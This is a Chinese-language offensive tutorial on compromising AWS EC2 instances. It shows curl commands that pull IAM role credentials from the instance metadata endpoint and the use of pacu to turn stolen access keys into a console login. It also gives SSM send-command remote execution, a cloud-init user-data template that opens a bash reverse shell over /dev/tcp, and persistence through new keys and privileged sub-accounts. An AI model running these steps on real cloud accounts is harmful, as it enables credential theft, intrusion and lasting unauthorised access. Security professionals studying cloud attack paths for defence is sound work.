简介
AmazonEC2-Amazon Elastic Compute Cloud云服务器是一种Web云服务,能在云中提供安全且可调整大小的计算能力
敏感信息获取
除了常规可通过github、源代码泄露、反编译应用程序、配置文件泄露序等方式收集相关AKSK凭证信息,还可以基于元数据进行信息获取
其中元数据服务是一种提供查询运行中的实例内元数据的服务,通过已经获得的实例向元数据服务发起请求是不会通过网络传输的,如进步利用已获得的实例EC2权限获取实例元数据信息
通过相关的元数据信息除了获取基本的属性外,若服务器提前配置了IAM角色,则能够进步获取相关角色的凭证信息,从而进步利用
基本IAM角色配置如下,如果没有的话直接新建下新的角色就行

通过各种方法,获取了当前机器权限后,进步查看所有类别的元数据如下
curl http://169.254.169.254/latest/meta-data
包含各类基本信息如下,如网络信息、主机名等


进步角色凭证获取
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2S3
此处凭证是由提供的应用策略权限所决定,若权限较小也无法进步横向利用

凭证利用
网页控制台
如基于先前元数据获得的AKSK等,进步利用pacu工具,通过生成的链接进入控制台

利用获得的登录地址随便开个浏览器登录控制台,进入对应区域服务器即可


除此之外也可从网页利用AWS Systems Manager基于runshellscript命令执行


运行成功如下


除此之外获取网页控制台后可查看子网信息,为进步横向移动进行信息收集

除pacu外其他工具也可以同理生成链接进入控制台


在机器可重启的情况下可利用用户数据进步执行命令,此处编辑数据是需要停止用户实例的,且停止实例后ip会变动!!!


官方提供的文件模板直接写反弹shell如下
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
# cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
# !/bin/bash
bash -c 'exec bash -i &>/dev/tcp/XXXXX/XXX <&1'
--//--

或者不用文件格式,直接创建文件也可

基于先前提及的元数据也可以获取用户数据信息如下

客户端
获取要执行的实例服务器id
aws ec2 describe-instances --output text

过滤出可用区、当前状态、对应的实例id
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[Placement.AvailabilityZone, State.Name, InstanceId]' --output text

aws ssm send-command --document-name "AWS-RunShellScript" --document-version "1" --targets '[{"Key":"InstanceIds","Values":["i-123456"]}]' --parameters '{"workingDirectory":[""],"executionTimeout":["3600"],"commands":["ifconfig"]}' --output text
需要记录好命令id

aws ssm list-command-invocations --command-id 123456 --details --output text


权限维持
除了先前的用户数据,基于写入反弹shell,从而当用户机器重启的时候可以进而弹回权限,但可能很多机器不会随意重启,普适性较低
还可通过网页创建新的密钥,后续利用该高权限AKSK进步开展渗透工作


当权限足够的情况下也可利用子账户创建高权限账户,后续直接利用子账户即可
